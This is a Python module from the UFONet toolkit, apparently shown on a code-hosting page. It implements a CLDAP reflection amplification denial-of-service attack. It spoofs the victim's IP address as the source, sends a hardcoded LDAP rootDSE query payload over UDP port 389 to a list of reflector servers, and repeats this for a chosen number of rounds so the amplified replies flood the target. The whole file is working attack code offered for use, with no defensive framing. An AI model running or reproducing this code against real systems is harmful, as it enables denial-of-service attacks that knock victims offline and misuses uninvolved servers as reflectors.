cldap.py 3.2 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. from urllib.parse import urlparse
  12. try:
  13. from scapy.all import *
  14. except ImportError:
  15. from core._ensure import ensure
  16. if ensure('scapy.all', 'scapy') is None:
  17. print("\nError importing: scapy lib.\n")
  18. sys.exit(2)
  19. from scapy.all import *
  20. cldap_file = "botnet/cldap.txt"
  21. # UFONet CLDAP Amplification (WORMHOLE) - amp factor ~56x (LDAP rootDSE searchRequest)
  22. def wormholize(ip, rounds):
  23. n=0
  24. try:
  25. from core._botnet import load_botnet_file, warn_placeholders
  26. reflectors, _empty, _all_placeholder = load_botnet_file(cldap_file)
  27. if _empty:
  28. print("[Error] [AI] [WORMHOLE] botnet/cldap.txt is empty -> [Aborting!]")
  29. return
  30. if _all_placeholder:
  31. warn_placeholders("WORMHOLE", cldap_file, kind="cldap")
  32. return
  33. payload = (b'\x30\x84\x00\x00\x00\x2d\x02\x01\x01\x63\x84\x00\x00\x00\x24'
  34. b'\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x00\x01'
  35. b'\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73'
  36. b'\x30\x00')
  37. for x in range(int(rounds)):
  38. n += 1
  39. print("[Info] [AI] [WORMHOLE] Bending 'spacetime' ["+str(n)+"] toward target! -> [SLOWING!]")
  40. for r in reflectors:
  41. try:
  42. sport = random.randint(2000, 65535)
  43. packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=389) / Raw(load=payload)
  44. send(packet, verbose=0)
  45. print("[Info] [AI] [WORMHOLE] Bent 'spacetime' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
  46. except:
  47. print("[Info] [AI] [WORMHOLE] Bent 'spacetime' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
  48. except:
  49. print("[Error] [AI] [WORMHOLE] Failing to engage... -> Is still target online? -> [Checking!]")
  50. class CLDAP(object):
  51. def attacking(self, target, rounds):
  52. print("[Info] [AI] CLDAP Amplification (WORMHOLE) is ready to fire: [", rounds, "spacetimes ]")
  53. if target.startswith('http://'):
  54. target = target.replace('http://','')
  55. elif target.startswith('https://'):
  56. target = target.replace('https://','')
  57. try:
  58. ip = socket.gethostbyname(target)
  59. except:
  60. try:
  61. import dns.resolver
  62. r = dns.resolver.Resolver()
  63. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  64. url = urlparse(target)
  65. a = r.resolve(url.netloc, "A")
  66. for rd in a:
  67. ip = str(rd)
  68. except:
  69. ip = target
  70. if ip == "127.0.0.1" or ip == "localhost":
  71. print("[Info] [AI] [WORMHOLE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  72. return
  73. wormholize(ip, rounds)